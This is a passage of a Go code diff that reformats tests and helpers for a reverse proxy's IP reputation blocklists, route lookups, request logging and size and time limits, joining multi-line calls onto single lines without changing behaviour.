-				got := lists.Snapshot()
+				if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
-				if !reflect.DeepEqual(got, []reputation.List{want}) {
+					t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
-					t.Errorf(
-						"lists %+v, want the first copy, last tried now, %+v",
-						got,
-						want,
-					)
 				}
 
 				if lists.Failures(dropURL) != 2 {
@@ -204,14 +215,10 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
 
 				// One alert for the first failure; the cooldown holds back the
 				// second.
-				failed := time.Now().Add(-refresh)
+				wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
-				wantAlert(t, queue, fetchFailure(failed, dropURL, tc.error))
 
-				if !strings.Contains(
+				if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
-					log.String(),
+					`"url":"`+dropURL+`","error":"`+tc.error) {
-					`"msg":"fetching a list failed",`+
-						`"url":"`+dropURL+`","error":"`+tc.error,
-				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
@@ -219,40 +226,6 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
 	}
 }
 
-// listFailure is a way a list's fetch can fail.
-type listFailure struct {
-	name string
-	// fail has the stand-in answer the fetches after the first so that
-	// they fail with error.
-	fail  func(servers *standIn)
-	error string
-}
-
-// listFailures returns the ways a list's fetch can fail.
-func listFailures() []listFailure {
-	return []listFailure{
-		{
-			"an answer other than 200",
-			func(servers *standIn) { servers.set(dropURL, "") },
-			"the server answered 503 Service Unavailable",
-		},
-		{
-			"a line that does not read",
-			func(servers *standIn) {
-				servers.set(dropURL, "203.0.113.10\n<html>\n")
-			},
-			"line 2 is not an address or a netblock, such as 192.0.2.0/24",
-		},
-		{
-			"a list longer than 16 MiB",
-			func(servers *standIn) {
-				servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
-			},
-			"the list is longer than 16 MiB",
-		},
-	}
-}
-
 func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
 	t.Parallel()
 
@@ -264,27 +237,19 @@ func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
 		synctest.Wait()
 
 		if lists.Failures(dropURL) != 0 {
-			t.Errorf(
+			t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL))
-				"%d failures before a minute, want none",
-				lists.Failures(dropURL),
-			)
 		}
 
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 
 		if lists.Failures(dropURL) != 1 {
-			t.Errorf(
+			t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL))
-				"%d failures after a minute, want 1",
-				lists.Failures(dropURL),
-			)
 		}
 	})
 }
 
-func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
+func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -297,16 +262,8 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
 		// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
 		// lists.json says at start.
 		err := lists.Load([]reputation.List{
-			{
+			{URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
-				URL:     dropURL,
+			{URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
-				Fetched: time.Now().Add(-time.Hour),
-				Lines:   []string{"203.0.113.9"},
-			},
-			{
-				URL:     torURL,
-				Fetched: time.Now().Add(-refresh),
-				Lines:   []string{"198.51.100.9"},
-			},
 		})
 		if err != nil {
 			t.Fatalf("load: %v", err)
@@ -333,9 +290,7 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		// drop.txt is fetched, and a refresh later the fetch downloads it
 		// whole but fails on a line that does not read.
-		servers := &standIn{
+		servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}}
-			lists: map[string]string{dropURL: "198.51.100.1\n"},
-		}
 		lists := start(t, servers, params(dropURL))
 
 		servers.set(dropURL, "198.51.100.2\n<html>\n")
@@ -344,9 +299,7 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
 
 		// Restarted with what lists.json keeps, it waits a refresh
 		// after the failed try, as it does while it runs.
-		restarted := &standIn{
+		restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
-			lists: map[string]string{dropURL: "198.51.100.2\n"},
-		}
 		again := reputation.New(params(dropURL))
 		again.SetTransport(restarted)
 
@@ -396,11 +349,8 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
 		wantFetches(t, servers, 1)
 
 		if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
-			t.Errorf(
+			t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL),
-				"%d failures and alerts %+v, want none",
+				waiting(queue))
-				lists.Failures(dropURL),
-				waiting(queue),
-			)
 		}
 
 		// Restarted an hour later with what lists.json keeps, it fetches
@@ -432,9 +382,7 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
 	})
 }
 
-func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
+func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -449,13 +397,7 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
 		for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
 			percent, listed := lists.ASNLimitPercent(asn)
 			if !listed || percent != want {
-				t.Errorf(
+				t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want)
-					"%s has %d (listed %t), want %d",
-					asn,
-					percent,
-					listed,
-					want,
-				)
 			}
 		}
 
@@ -474,9 +416,7 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
 	})
 }
 
-func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
+func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
@@ -492,18 +432,13 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
 		t.Fatalf("load: %v", err)
 	}
 
-	if got := lists.Snapshot(); !reflect.DeepEqual(
+	if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
-		got,
-		[]reputation.List{kept},
-	) {
 		t.Errorf("copies %+v, want only %+v", got, kept)
 	}
 
-	err = lists.Load(
+	err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
-		[]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
+		"; DROP", "203.0.113.300",
-			"; DROP", "203.0.113.300",
+	}}})
-		}}},
-	)
 
 	const want = "the copy of " + dropURL +
 		": line 2 is not an address or a netblock, such as 192.0.2.0/24"
@@ -511,10 +446,7 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
 		t.Errorf("error %v, want %s", err, want)
 	}
 
-	if got := lists.Snapshot(); !reflect.DeepEqual(
+	if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
-		got,
-		[]reputation.List{kept},
-	) {
 		t.Errorf("copies %+v after the error, want %+v still", got, kept)
 	}
 }
@@ -648,12 +580,7 @@ func wantFetches(t *testing.T, servers *standIn, want int) {
 }
 
 // wantListedBy checks the URLs of the blocklists lists says list addr.
-func wantListedBy(
+func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) {
-	t *testing.T,
-	lists *reputation.Lists,
-	addr string,
-	want ...string,
-) {
 	t.Helper()
 
 	got := lists.ListedBy(netip.MustParseAddr(addr))
@@ -684,13 +611,8 @@ func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
 	t.Helper()
 
 	got := waiting(queue)
-	if len(got) != 1 || !reflect.DeepEqual(got[0], want) ||
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 {
-		queue.Suppressed() != 1 {
+		t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got,
-		t.Errorf(
+			queue.Suppressed(), want)
-			"alerts waiting %+v, %d held back, want only %+v and 1",
-			got,
-			queue.Suppressed(),
-			want,
-		)
 	}
 }

internal/requestlog/requestlog_test.go

@@ -18,9 +18,7 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
 	var out bytes.Buffer
 
 	err := requestlog.Write(&out, &requestlog.Line{
-		Time: requestlog.FormatTime(
+		Time:            requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)),
-			time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC),
-		),
 		ClientIP:        "203.0.113.9",
 		Status:          200,
 		Action:          requestlog.ActionForward,
@@ -82,10 +80,7 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
 		t.Fatalf("write: %v", err)
 	}
 
-	err = requestlog.WriteRProxyLine(
+	err = requestlog.WriteRProxyLine(&out, &requestlog.RProxyLine{Query: "a=1&b=<2>"})
-		&out,
-		&requestlog.RProxyLine{Query: "a=1&b=<2>"},
-	)
 	if err != nil {
 		t.Fatalf("write the rproxy line: %v", err)
 	}
@@ -105,10 +100,7 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
 		}
 	}
 
-	if !strings.Contains(
+	if !strings.Contains(lines[0], `"referer":"https://example.com/?x=1&y=<2>"`) {
-		lines[0],
-		`"referer":"https://example.com/?x=1&y=<2>"`,
-	) {
 		t.Errorf("%s does not hold the referer as sent", lines[0])
 	}
 }
@@ -140,9 +132,8 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
 
 	var out bytes.Buffer
 
-	requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).
+	requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting",
-		Info("starting",
+		"version", "v1")
-			"version", "v1")
 
 	var fields map[string]any
 
@@ -151,10 +142,8 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
 		t.Fatalf("decode %q: %v", out.String(), err)
 	}
 
-	if fields["type"] != "process" ||
+	if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" ||
-		fields["instance"] != "fsn1app1/blog" ||
+		fields["msg"] != "starting" || fields["level"] != "INFO" ||
-		fields["msg"] != "starting" ||
-		fields["level"] != "INFO" ||
 		fields["version"] != "v1" {
 		t.Errorf("process line %v", fields)
 	}
@@ -165,10 +154,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
 	if err != nil || !strings.HasSuffix(timeText, "Z") ||
 		len(timeText) != len("2006-01-02T15:04:05.000Z") ||
 		time.Since(logged) > time.Minute {
-		t.Errorf(
+		t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
-			"process line time %q, want now in UTC with milliseconds",
-			timeText,
-		)
 	}
 }
 
@@ -185,11 +171,7 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
 
 			var out bytes.Buffer
 
-			processLog := requestlog.NewProcessLogger(
+			processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level)
-				&out,
-				"fsn1app1/blog",
-				level,
-			)
 			for _, at := range levels {
 				processLog.Log(t.Context(), at, "message")
 			}

internal/routewatch/routewatch.go

@@ -206,11 +206,7 @@ func (c *Client) Load(answers []Answer) {
 // query as no longer under way. A query that fails gives no answer, and
 // routewatch is not asked again for failureKept. Only the first failure of
 // those under way is logged.
-func (c *Client) ask(
+func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
-	ctx context.Context,
-	client netip.Prefix,
-	addr netip.Addr,
-) {
 	route, err := c.query(ctx, addr)
 	now := c.params.Now()
 
@@ -231,11 +227,7 @@ func (c *Client) ask(
 	c.mu.Unlock()
 
 	if firstFailure {
-		c.params.ProcessLog.Warn(
+		c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error())
-			"asking routewatch failed",
-			"error",
-			err.Error(),
-		)
 	}
 }
 
@@ -251,12 +243,7 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
 		return Route{}, fmt.Errorf("make the URL: %w", err)
 	}
 
-	req, err := http.NewRequestWithContext(
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
-		ctx,
-		http.MethodGet,
-		endpoint,
-		http.NoBody,
-	)
 	if err != nil {
 		return Route{}, fmt.Errorf("make the request: %w", err)
 	}

internal/routewatch/routewatch_test.go

@@ -131,9 +131,7 @@ func TestMain(m *testing.M) {
 type silentRoutewatch struct{}
 
 // RoundTrip waits until req is abandoned.
-func (silentRoutewatch) RoundTrip(
+func (silentRoutewatch) RoundTrip(req *http.Request) (*http.Response, error) {
-	req *http.Request,
-) (*http.Response, error) {
 	<-req.Context().Done()
 
 	return nil, req.Context().Err()
@@ -193,19 +191,12 @@ func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
 	f := newFixture(t, answering(routedAnswer))
 
 	if _, missing := f.route(); missing != routewatch.NoAnswerYet {
-		t.Errorf(
+		t.Errorf("before the answer: %q, want %q", missing, routewatch.NoAnswerYet)
-			"before the answer: %q, want %q",
-			missing,
-			routewatch.NoAnswerYet,
-		)
 	}
 
 	route := f.waitFor("")
 
-	want := routewatch.Route{
+	want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
-		Netblock: netip.MustParsePrefix("192.0.2.0/24"),
-		ASN:      64496,
-	}
 	if route != want {
 		t.Errorf("route %+v, want %+v", route, want)
 	}
@@ -228,10 +219,7 @@ func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
 
 	route := f.waitFor("")
 
-	want := routewatch.Route{
+	want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
-		Netblock: netip.MustParsePrefix("192.0.2.0/24"),
-		ASN:      64496,
-	}
 	if route != want {
 		t.Errorf("route %+v, want %+v", route, want)
 	}
@@ -260,8 +248,7 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
 		"not JSON":   answering("no"),
 		"no results": answering(`{"status":"ok","data":{"results":[]}}`),
 		"bad netblock": answering(
-			`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`,
+			`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`),
-		),
 	}
 	for name, standIn := range tests {
 		t.Run(name, func(t *testing.T) {
@@ -276,9 +263,7 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
 	}
 }
 
-func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
+func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	f := newFixture(t, answering(routedAnswer))
@@ -295,9 +280,7 @@ func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
 	f.wantFailureLoggedWithoutTheClient()
 }
 
-func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
+func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
@@ -318,10 +301,7 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
 	deadline := time.Now().Add(waitLimit)
 	for f.queries.Load() != 2 {
 		if time.Now().After(deadline) {
-			t.Fatalf(
+			t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load())
-				"%d queries after the failure expired, want 2",
-				f.queries.Load(),
-			)
 		}
 
 		time.Sleep(time.Millisecond)
@@ -346,14 +326,9 @@ func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
 		began := time.Now()
 		_, missing := f.route()
 
-		if waited := time.Since(began); missing != routewatch.NoAnswerYet ||
+		if waited := time.Since(began); missing != routewatch.NoAnswerYet || waited != 0 {
-			waited != 0 {
+			t.Errorf("Route gave %q after %s while routewatch hangs, want %q at once",
-			t.Errorf(
+				missing, waited, routewatch.NoAnswerYet)
-				"Route gave %q after %s while routewatch hangs, want %q at once",
-				missing,
-				waited,
-				routewatch.NoAnswerYet,
-			)
 		}
 
 		f.waitFor(routewatch.RequestFailed)
@@ -437,14 +412,8 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
 
 	f.client.Load([]routewatch.Answer{kept, stale})
 
-	if got := f.client.Snapshot(); !slices.Equal(
+	if got := f.client.Snapshot(); !slices.Equal(got, []routewatch.Answer{kept}) {
-		got,
+		t.Errorf("kept %+v, want only the answer that came less than an hour ago", got)
-		[]routewatch.Answer{kept},
-	) {
-		t.Errorf(
-			"kept %+v, want only the answer that came less than an hour ago",
-			got,
-		)
 	}
 
 	route, missing := f.route()
@@ -455,10 +424,7 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
 	}
 
 	if got := f.queries.Load(); got != 0 {
-		t.Errorf(
+		t.Errorf("%d queries for a client with an answer loaded, want none", got)
-			"%d queries for a client with an answer loaded, want none",
-			got,
-		)
 	}
 }
 
@@ -492,12 +458,7 @@ func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
 	}
 
 	if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
-		t.Errorf(
+		t.Errorf("answers kept from %s to %s, want from %s to %s", got[0].Client,
-			"answers kept from %s to %s, want from %s to %s",
+			got[maxAnswers-1].Client, answers[0].Client, answers[maxAnswers-1].Client)
-			got[0].Client,
-			got[maxAnswers-1].Client,
-			answers[0].Client,
-			answers[maxAnswers-1].Client,
-		)
 	}
 }

internal/rproxy/bodies.go

@@ -203,8 +203,7 @@ func (w *responseWriter) Write(p []byte) (int, error) {
 		w.status = http.StatusOK
 	}
 
-	//nolint:gosec // the answer, as it was given
+	n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
-	n, err := w.ResponseWriter.Write(p)
 	w.bytes += int64(n)
 
 	return n, err
@@ -219,8 +218,7 @@ func (w *responseWriter) FlushError() error {
 // Hijack takes over the connection to the visitor, which ReverseProxy does only
 // to pass on the app's 101 Switching Protocols: that is then the status sent.
 func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
-	conn, buffered, err := http.NewResponseController(w.ResponseWriter).
+	conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
-		Hijack()
 	if err == nil {
 		w.status = http.StatusSwitchingProtocols
 	}

internal/rproxy/client.go

@@ -83,11 +83,7 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
 // X-Forwarded-For. Those of any other peer are its own claims and are replaced:
 // X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
 // X-Forwarded-Proto plain http, which is how it reached rproxy.
-func setForwardedHeaders(
+func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
-	in, out *http.Request,
-	peer netip.Addr,
-	trusted bool,
-) {
 	forwardedFor := peer.String()
 
 	if trusted {

internal/rproxy/limits_test.go

@@ -34,15 +34,13 @@ func announcedLength(size int) string {
 func TestServerHasTheFixedLimits(t *testing.T) {
 	t.Parallel()
 
-	cfg, err := config.RProxyFromEnvironment(
+	cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
-		func(name string) (string, bool) {
+		if name == "SWRP_WAF_BACKEND" {
-			if name == "SWRP_WAF_BACKEND" {
+			return nowhere, true
-				return nowhere, true
+		}
-			}
 
-			return "", false
+		return "", false
-		},
+	})
-	)
 	if err != nil {
 		t.Fatalf("settings: %v", err)
 	}
@@ -50,23 +48,14 @@ func TestServerHasTheFixedLimits(t *testing.T) {
 	server := rproxy.New(rproxy.Params{
 		Config:     cfg,
 		RequestLog: io.Discard,
-		ProcessLog: requestlog.NewProcessLogger(
+		ProcessLog: requestlog.NewProcessLogger(io.Discard, "test", slog.LevelInfo),
-			io.Discard,
-			"test",
-			slog.LevelInfo,
-		),
 	})
 
 	if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
 		server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
-		t.Errorf(
+		t.Errorf("server listens on %q with header limit %d, idle time %s and "+
-			"server listens on %q with header limit %d, idle time %s and "+
+			"header timeout %s", server.Addr, server.MaxHeaderBytes,
-				"header timeout %s",
+			server.IdleTimeout, server.ReadHeaderTimeout)
-			server.Addr,
-			server.MaxHeaderBytes,
-			server.IdleTimeout,
-			server.ReadHeaderTimeout,
-		)
 	}
 }
 
@@ -87,14 +76,9 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {
 				t.Error("the app was asked")
 			})
-			addr, _ := startRProxy(
+			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				t,
+				maxRequestSize: tc.limit,
-				standIn.URL,
+			})
-				app.URL,
-				map[string]string{
-					maxRequestSize: tc.limit,
-				},
-			)
 
 			got := visit(t, newRequest(t, http.MethodPost, addr, "/",
 				bytes.NewReader(make([]byte, tc.size))))
@@ -103,11 +87,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 			}
 
 			if asked := standIn.question(t); len(asked.body) != tc.asked {
-				t.Errorf(
+				t.Errorf("the question carries %d bytes, want %d", len(asked.body), tc.asked)
-					"the question carries %d bytes, want %d",
-					len(asked.body),
-					tc.asked,
-				)
 			}
 
 			report := standIn.report(t)
@@ -158,21 +138,13 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
 				asked.Store(true)
 				greet(w, r)
 			})
-			addr, _ := startRProxy(
+			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				t,
+				maxRequestSize: tc.limit,
-				standIn.URL,
+			})
-				app.URL,
-				map[string]string{
-					maxRequestSize: tc.limit,
-				},
-			)
 
 			conn := dial(t, addr)
 			send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
-				strconv.FormatInt(
+				strconv.FormatInt(int64(tc.size), 16)+"\r\n"+strings.Repeat("x", tc.size)+
-					int64(tc.size),
-					16,
-				)+"\r\n"+strings.Repeat("x", tc.size)+
 				"\r\n0\r\n\r\n")
 
 			if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
@@ -231,26 +203,17 @@ func TestAResponseOverItsLimit(t *testing.T) {
 
 		text, err := io.ReadAll(conn)
 		if err != nil || bytes.Contains(text, []byte(large)) {
-			t.Errorf(
+			t.Errorf("read %d bytes (%v), want the answer cut off", len(text), err)
-				"read %d bytes (%v), want the answer cut off",
-				len(text),
-				err,
-			)
 		}
 
 		report := standIn.report(t)
 		if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
-			t.Errorf(
+			t.Errorf("report %+v, want status 200 and at most 1K of the answer", report)
-				"report %+v, want status 200 and at most 1K of the answer",
-				report,
-			)
 		}
 	})
 }
 
-func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(
+func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	const announced = "2048"
@@ -264,13 +227,8 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(
 	})
 
 	got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
-	if got.status != http.StatusOK ||
+	if got.status != http.StatusOK || got.header.Get(contentLengthHeader) != announced {
-		got.header.Get(contentLengthHeader) != announced {
+		t.Errorf("answered %+v, want the app's 200 announcing %s bytes", got, announced)
-		t.Errorf(
-			"answered %+v, want the app's 200 announcing %s bytes",
-			got,
-			announced,
-		)
 	}
 }
 
@@ -285,22 +243,14 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
 
 			standIn := startWAF(t, allow)
 			app := startApp(t, greet)
-			addr, _ := startRProxy(
+			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				t,
+				setting: "off",
-				standIn.URL,
+			})
-				app.URL,
-				map[string]string{
-					setting: "off",
-				},
-			)
 
 			// A body and an answer that a limit of zero would cut off, as it would the
 			// next answer, which rproxy gives itself.
-			wantGreeting(
+			wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
-				t,
+				strings.NewReader("a body"))))
-				visit(t, newRequest(t, http.MethodPost, addr, "/",
-					strings.NewReader("a body"))),
-			)
 
 			if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
 				t.Errorf("answered %+v, want rproxy's own 200", got)
@@ -323,14 +273,9 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
 
 			standIn := startWAF(t, allow)
 			app := startApp(t, greet)
-			addr, out := startRProxy(
+			addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				t,
+				maxRequestTime: "500",
-				standIn.URL,
+			})
-				app.URL,
-				map[string]string{
-					maxRequestTime: "500",
-				},
-			)
 
 			conn := dial(t, addr)
 			send(t, conn, post+tc.rest)
@@ -374,9 +319,7 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
 	}
 }
 
-func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(
+func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -413,11 +356,8 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(
 
 			text, err := io.ReadAll(conn)
 			if err != nil || len(text) != 0 {
-				t.Errorf(
+				t.Errorf("read %q (%v), want the connection closed without an answer",
-					"read %q (%v), want the connection closed without an answer",
+					text, err)
-					text,
-					err,
-				)
 			}
 
 			line := out.requestLine(t)
@@ -462,8 +402,7 @@ func (w *deadlineRecorder) FlushError() error {
 func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
 	w.readDeadline = deadline
 
-	if w.stalled != nil && !deadline.IsZero() &&
+	if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) {
-		!deadline.After(time.Now()) {
 		_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
 	}
 
@@ -500,22 +439,12 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
 
 	t.Cleanup(func() { _ = stop.Close() })
 
-	req := httptest.NewRequestWithContext(
+	req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
-		t.Context(),
+		io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
-		http.MethodPost,
-		"/",
-		io.MultiReader(
-			bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
-			stalled,
-		),
-	)
 	req.ContentLength = announced
 	req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
 
-	w := &deadlineRecorder{
+	w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop}
-		ResponseRecorder: httptest.NewRecorder(),
-		stalled:          stop,
-	}
 
 	before := time.Now()
 
@@ -527,17 +456,12 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
 
 	if w.readDeadline.Before(before.Add(limit)) ||
 		w.readDeadline.After(time.Now().Add(limit)) {
-		t.Errorf(
+		t.Errorf("the reading of the body ends at %s, want %s from the request",
-			"the reading of the body ends at %s, want %s from the request",
+			w.readDeadline, limit)
-			w.readDeadline,
-			limit,
-		)
 	}
 }
 
-func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
+func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	standIn := startWAF(t, allow)
@@ -549,15 +473,8 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
 
 	t.Cleanup(func() { _ = stop.Close() })
 
-	req := httptest.NewRequestWithContext(
+	req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
-		t.Context(),
+		io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
-		http.MethodPost,
-		"/",
-		io.MultiReader(
-			bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
-			stalled,
-		),
-	)
 	req.ContentLength = 2 * questionBodyMaxBytes
 	req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes))
 
@@ -579,10 +496,7 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
 	}
 
 	if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) {
-		t.Errorf(
+		t.Errorf("the reading of the body ends at %s, want now", w.readDeadline)
-			"the reading of the body ends at %s, want now",
-			w.readDeadline,
-		)
 	}
 }
 
@@ -603,24 +517,12 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
 
 			standIn := startWAF(t, deny)
 			app := startApp(t, greet)
-			_, _, server := startServer(
